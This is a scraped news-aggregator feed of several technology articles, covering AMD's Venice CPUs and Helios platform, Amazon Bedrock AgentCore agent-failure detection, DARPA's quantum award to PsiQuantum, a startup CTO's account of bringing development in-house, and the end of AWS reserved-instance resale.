<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Detecting silent agent failures with Amazon Bedrock AgentCore optimization]]></title>
<description><![CDATA[Amazon Bedrock AgentCore optimization surfaces silent behavioral failures in production AI agents: the ones that pass every health check but still deliver wrong outcomes. Learn how insights discovers, explains, and ranks failure patterns across sessions so you can fix the highest-impact issues fi...]]></description>
<link>https://tsecurity.de/de/3689762/ai-nachrichten/detecting-silent-agent-failures-with-amazon-bedrock-agentcore-optimization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689762/ai-nachrichten/detecting-silent-agent-failures-with-amazon-bedrock-agentcore-optimization/</guid>
<pubDate>Thu, 23 Jul 2026 18:54:50 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Amazon Bedrock AgentCore optimization surfaces silent behavioral failures in production AI agents: the ones that pass every health check but still deliver wrong outcomes. Learn how insights discovers, explains, and ranks failure patterns across sessions so you can fix the highest-impact issues first.]]></content:encoded>
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<title><![CDATA[Federal quantum bet grows with DARPA’s $125 million PsiQuantum award]]></title>
<description><![CDATA[Defense research agency DARPA made its largest quantum computing award ever this week, with a $125 million agreement announced on Wednesday. The same day, the White House announced an additional $5 billion for the Genesis Mission, which focuses on AI for science but also includes technology to ac...]]></description>
<link>https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689459/it-security-nachrichten/federal-quantum-bet-grows-with-darpas-125-million-psiquantum-award/</guid>
<pubDate>Thu, 23 Jul 2026 17:13:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Defense research agency DARPA made its largest quantum computing award ever this week, with a <a href="https://www.psiquantum.com/news-import/psiquantum-signs-125-million-agreement-with-darpa">$125 million agreement</a> announced on Wednesday. The same day, the White House announced an <a href="https://www.whitehouse.gov/releases/2026/07/45502/">additional $5 billion for the Genesis Mission</a>, which focuses on AI for science but also includes technology to accelerate quantum computing and quantum sensors.</p>



<p class="wp-block-paragraph">“Taken together, these announcements signal that U.S. quantum strategy is shifting from supporting individual research projects to building the infrastructure needed for a quantum-enabled economy,” says <a href="https://www.linkedin.com/in/heather-c-west-ph-d-52075667/">Heather West</a>, research manager in the infrastructure systems, platforms, and technology group at IDC.</p>



<p class="wp-block-paragraph">None of the individual quantum announcements are surprising, she says. But the level of coordination is new. “Government investment is expanding beyond foundational research toward commercialization, manufacturing, and deployment,” she says.</p>



<p class="wp-block-paragraph">“The US government has been signaling that quantum computing is a priority,” says <a href="https://www.linkedin.com/in/davidmooter/">David Mooter</a>, an analyst at Forrester Research. Part of it is the desire for the US to be a leader in quantum, as it has been in other high-tech areas, he says. And part of it is because the government itself can take advantage of quantum computers.</p>



<p class="wp-block-paragraph">“Spy agencies would love to use them to decrypt intercepted messages, including messages they intercepted years ago and saved,” he says. And other departments could use quantum computers or networks for energy-related research, for supply chain optimization, and for secure communications. </p>



<p class="wp-block-paragraph">Quantum computing is accelerating, he says. “I would not be surprised to see a general gate-based quantum computer that’s good enough to provide commercial value for limited use cases by 2030.”</p>



<h2 class="wp-block-heading">DARPA’s Quantum Benchmarking Initiative</h2>



<p class="wp-block-paragraph">DARPA’s Quantum Benchmarking Initiatives was launched in 2024, and 18 companies were selected in April of 2025 for <a href="https://www.darpa.mil/news/2025/companies-targeting-quantum-computers">Stage A of the project</a>, with awards of up to $1 million each. The companies were to use the money to provide details of their concepts and show how they could lead to a functional, fault-tolerant quantum computer in under a decade.</p>



<p class="wp-block-paragraph">Then, in November of 2025, DARPA chose 11 companies for <a href="https://www.darpa.mil/research/programs/quantum-benchmarking-initiative/stage-b-selection">Stage B of the project</a>, with awards of up to $15 million for developing their research plans.</p>



<p class="wp-block-paragraph">To date, only two companies have been chosen for <a href="https://www.darpa.mil/news/2025/quantum-computing-approaches">Stage C</a>: PsiQuantum and Microsoft. PsiQuantum announced $32 million of DARPA funding for testing and evaluation in September of last year. This week’s $125 million award will expand the scope and pacing of the validation and verification work. Stage C awards can go up to $300 million, <a href="https://www.darpa.mil/sites/default/files/attachment/2025-09/darpa-mto-spark-tank-qbi.pdf">according to DARPA</a>.</p>



<p class="wp-block-paragraph">This past May, <a href="https://www.psiquantum.com/news-import/us-department-of-commerce">PsiQuantum also announced $100 million</a> from the Department of Commerce, part of the CHIPS and Science Act, to accelerate domestic manufacturing of critical quantum computing components.</p>



<p class="wp-block-paragraph">Microsoft and PsiQuantum are both in Stage C, bypassing the sequential path that other companies are expected to follow, because they were both part of DARPA’s predecessor to QBI, the Underexplored Systems for Utility-Scale Quantum Computing program.</p>



<h2 class="wp-block-heading">Genesis Mission</h2>



<p class="wp-block-paragraph">Genesis Mission was <a href="https://www.whitehouse.gov/presidential-actions/2025/11/launching-the-genesis-mission/">launched</a> in late 2025 with the goal of using AI to accelerate scientific breakthroughs, and it now includes more than 15 government agencies.</p>



<p class="wp-block-paragraph">As part of the Genesis Mission, quantum computing and sensing company Infleqtion announced <a href="https://infleqtion.com/infleqtion-secures-three-genesis-mission-projects-from-u-s-department-of-energy/">three projects for the Department of Energy</a> on Wednesday. The three projects focus on quantum circuit design for nuclear applications, atomic quantum sensing, and nuclear fusion energy research.</p>



<p class="wp-block-paragraph">This announcement did not include the total monetary value of the projects, but, in May, the company announced a separate agreement with the Department of Commerce for $100 million to accelerate Infleqtion’s neutral-atom technology roadmap.</p>



<p class="wp-block-paragraph">Other quantum-related Genesis Mission projects announced this week include $1.5 million for a <a href="https://www.bluequbit.io/blog/bluequbit-and-partners-awarded-1-5m-in-doe-genesis-mission-grants-to-advance-ai-driven-quantum-error-correction">BlueQubit quantum error correction project</a> with Microsoft and other partners, a <a href="https://news.stanford.edu/stories/2026/07/stanford-and-slac-to-lead-genesis-mission-projects-that-tackle-the-nation-s-most-complex-science-and-technology-challenges">Stanford effort</a> to model the behavior of electrons at quantum scale, an <a href="https://news.mit.edu/2026/mit-projects-selected-funding-under-doe-genesis-mission-0723">MIT quantum sensing project</a>, Argonne National Laboratory <a href="https://www.anl.gov/article/argonne-to-lead-ai-research-projects-under-the-department-of-energys-genesis-mission">projects</a> on quantum circuit design and quantum sensors, Brookhaven Lab <a href="https://www.bnl.gov/newsroom/news.php?a=123041">quantum sensor projects</a>, and quantum computing <a href="https://news.northwestern.edu/stories/2026/07/northwestern-projects-receive-genesis-mission-funding">projects</a> at Northwestern University.</p>



<p class="wp-block-paragraph">IBM, one of three dozen private companies that are part of the <a href="https://www.genesismissionconsortium.org/our-members#private-sector">Genesis Mission Consortium</a>, announced that it will be leading a <a href="https://research.ibm.com/blog/ibm-us-genesis-mission-quantum-ai">project</a> to support more effective quantum applications, and will contribute up to $50 million of quantum compute access for the Genesis Mission.</p>



<h2 class="wp-block-heading">Enterprise priorities</h2>



<p class="wp-block-paragraph">This week’s quantum announcements aren’t a sign that enterprises need to run out and buy quantum computers, says IDC’s West. But they do need to start preparing for the quantum era — such as by identifying business areas where quantum computing could become a competitive differentiator over the next decade.</p>



<p class="wp-block-paragraph">But the most immediate threat is that of adversaries using quantum computers to break current encryption standards. Organizations should be inventorying cryptographic assets and developing a roadmap for the migration to quantum-proof algorithms, West says.</p>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4158139/fixing-encryption-isnt-enough-quantum-developments-put-focus-on-authentication.html">The point of no return is closer than ever</a>, and many major players in the encryption and communication space, including Google and Cloudflare, have been accelerating their timelines. In fact, this Wednesday was the <a href="https://www.whitehouse.gov/presidential-actions/2026/06/securing-the-nation-against-advanced-cryptographic-attacks/">federal deadline</a> for naming their post-quantum cryptography migration leads under a June executive order.</p>



<p class="wp-block-paragraph">“The preparation that needs to be done to prepare is to implement post-quantum cryptography yesterday,” says Forrester’s Mooter.</p>



<p class="wp-block-paragraph">However, according to a survey <a href="https://www.digicert.com/news/quantum-security-deployment-remains-stuck">released by DigiCert this morning</a>, while 87% of organizations are planning, testing or implementing PQC initiatives, only 7% of organizations have deployed quantum-safe or hybrid cryptography across most of their digital certificates.</p>
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<title><![CDATA[Professor Emeritus Dimitri Bertsekas, influential computer scientist and prolific author, dies at 83]]></title>
<description><![CDATA[Known for his clear and elegant writing style, Bertsekas shaped fields from control and optimization to large-scale computation and artificial intelligence.]]></description>
<link>https://tsecurity.de/de/3687194/ai-nachrichten/professor-emeritus-dimitri-bertsekas-influential-computer-scientist-and-prolific-author-dies-at-83/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687194/ai-nachrichten/professor-emeritus-dimitri-bertsekas-influential-computer-scientist-and-prolific-author-dies-at-83/</guid>
<pubDate>Wed, 22 Jul 2026 19:51:17 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Known for his clear and elegant writing style, Bertsekas shaped fields from control and optimization to large-scale computation and artificial intelligence.]]></content:encoded>
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<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Reselling unused cloud instances is no longer easy]]></title>
<description><![CDATA[A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idl...]]></description>
<link>https://tsecurity.de/de/3685747/ai-nachrichten/reselling-unused-cloud-instances-is-no-longer-easy/</link>
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<pubDate>Wed, 22 Jul 2026 11:04:51 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">A client called me last week with a problem I have been hearing about more often lately. They had made significant reserved instance commitments with a major cloud provider, overbuying for what they thought would be heavy AI training workloads. Now they were sitting on thousands of dollars in idle capacity every month. Their plan was simple: resell it to someone else. Except they couldn’t.</p>



<p class="wp-block-paragraph">I have been doing cloud consulting for a long time, and this situation once had a straightforward solution. You went to the marketplace, listed your unused reservations, and found a buyer. The process was a bit clunky, but it worked. These days, the answer is far more complicated, and my client learned this the hard way.</p>



<p class="wp-block-paragraph">AI has made this problem increasingly common. Companies initially committed to compute capacity based on ambitious training plans. Prototype projects were expected to scale, and inference workloads were projected to grow substantially. Then reality hit. Some projects did not materialize. Some <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">models</a> trained faster than expected. Some inference patterns were lighter than anticipated.</p>



<p class="wp-block-paragraph">Many organizations now hold reserved capacity they can’t use, discard, or share without a complex, increasingly restricted process. This reality is something every company with significant cloud spend needs to clearly understand.</p>



<h2 class="wp-block-heading">The history of cloud resale</h2>



<p class="wp-block-paragraph">There was once a functioning resale market for cloud reserved instances. AWS, for example, maintained a <a href="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/" data-type="link" data-id="https://aws.amazon.com/ec2/pricing/reserved-instances/marketplace/">Reserved Instances Marketplace</a> where companies that had purchased reserved capacity could sell those reservations to other AWS customers. This was a legitimate, AWS-sanctioned process. Companies would register as sellers, list their unused reservations with pricing and terms, and if a buyer appeared, the marketplace would facilitate the transaction.</p>



<p class="wp-block-paragraph">The resale market was useful for companies that had overestimated their needs or whose business changes reduced their cloud consumption. Instead of simply absorbing the cost of unused commitments, they could recoup some of that investment by selling to other organizations with unmet demand. It created a secondary market that added liquidity to what was otherwise a rigid financial arrangement.</p>



<p class="wp-block-paragraph">My client had some experience with this resale market a few years ago and assumed they could use it again. They were unpleasantly surprised to learn that the rules had changed.</p>



<h2 class="wp-block-heading"> AWS changes the rules</h2>



<p class="wp-block-paragraph">In January 2024, AWS implemented a significant policy change that effectively shut down the resale of EC2 Reserved Instances on its platform. AWS stopped allowing companies to resell their unused reserved capacity through the Reserved Instance Marketplace or any other official channel. If you have a reserved instance commitment with AWS, you are essentially stuck with it unless you can use it yourself or modify your reservation.</p>



<p class="wp-block-paragraph">This change had a real impact on companies that had relied on resale as part of their cloud financial management strategy. It reduced flexibility and increased the risk of long-term reserved commitments. When I explained this AWS policy change to my client’s representatives, I could hear the frustration in their voices. They had made their commitment in good faith, carefully modeled their expected AI workloads, and now faced the reality that there was no easy exit.</p>



<p class="wp-block-paragraph">The reasoning behind this change is not entirely clear, but AWS likely viewed capacity resales as something that complicated their billing and commitment models without providing enough benefit to the overall ecosystem. Regardless of the company’s reasons, the primary resale path for the largest cloud provider has been effectively closed.</p>



<h2 class="wp-block-heading">What options still exist?</h2>



<p class="wp-block-paragraph">What can companies do now when they find themselves with reserved capacity they no longer need? The first possibility is to work directly with the cloud provider to modify or exchange the reservation if it is convertible. Some reservation types allow modifications, such as changing the instance type, region, or tenancy. This will not eliminate the commitment, but it may help companies better align their reservations with actual workload needs.</p>



<p class="wp-block-paragraph">The second option is to use third-party brokers and marketplaces that operate independently of the cloud providers. Although AWS has shut down its official resale channel, brokers and marketplaces still facilitate resale arrangements for other cloud providers and for some AWS scenarios. These arrangements can be more complex and carry more risk, but they remain a possibility for companies determined to move unused capacity.</p>



<p class="wp-block-paragraph">The third alternative is to optimize usage. Companies can invest in better <a href="https://www.infoworld.com/article/2257609/how-aiops-improves-application-monitoring.html">utilization monitoring</a>, workload placement, and automation to ensure that reserved capacity is used as efficiently as possible. This does not recover the money already spent, but it reduces future waste.</p>



<p class="wp-block-paragraph">My client explored all three alternatives and found that each had significant limitations. Modifications were possible, but only within a narrow range. Third-party brokers were interested, but the process was opaque and uncertain. Optimization helped, but it could not eliminate the fundamental overcommitment they had already made.</p>



<h2 class="wp-block-heading">The broader implications</h2>



<p class="wp-block-paragraph">Cloud commitments are more rigid than many enterprises initially realize because they lack a liquid market and because providers control modifications, transfers, or cancellations. Right now, I see this pattern most often in the AI space. Companies commit to massive amounts of compute for training and inference based on projections that rarely reflect the actual workloads. Then they are surprised to find themselves locked into payments. The AI boom has led to significant overcommitment because enterprises remain unaware that the resale mechanisms that once existed have been largely shut down.</p>



<p class="wp-block-paragraph">This is why <a href="https://www.infoworld.com/article/2338592/6-finops-best-practices-to-reduce-cloud-costs.html">cloud financial management</a> has become such an important discipline. Companies need to be far more thoughtful about how they commit to cloud resources, how they model their future consumption, and how they build flexibility into their cloud strategies. The days of assuming you can always resell your way out of an overcommitment are effectively over, at least with AWS.</p>



<p class="wp-block-paragraph">For Azure and Google Cloud, the resale landscape is slightly different, but the same general principles apply. These providers have their own capacity transfer policies and, like AWS, those policies can change at any time. Companies should understand their options before making large, committed purchases and build contingency plans in case their actual usage diverges from their projections—or if resale policies change.</p>



<p class="wp-block-paragraph">The bottom line is that reselling unused reserved cloud instances is far more complicated than it sounds. The market is not as open as it once was, the options are limited, and the providers themselves hold most of the cards. My client got burned, and I doubt they will be the only one. Companies that want to optimize their cloud spending should focus on accurate forecasting, thoughtful commitment sizing, and ongoing optimization rather than relying on resale as a safety valve. That approach worked at one point, but those days are largely gone.</p>
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<title><![CDATA[Poolside drops Laguna S 2.1, an open-weight coding model that beats rivals 10x its size]]></title>
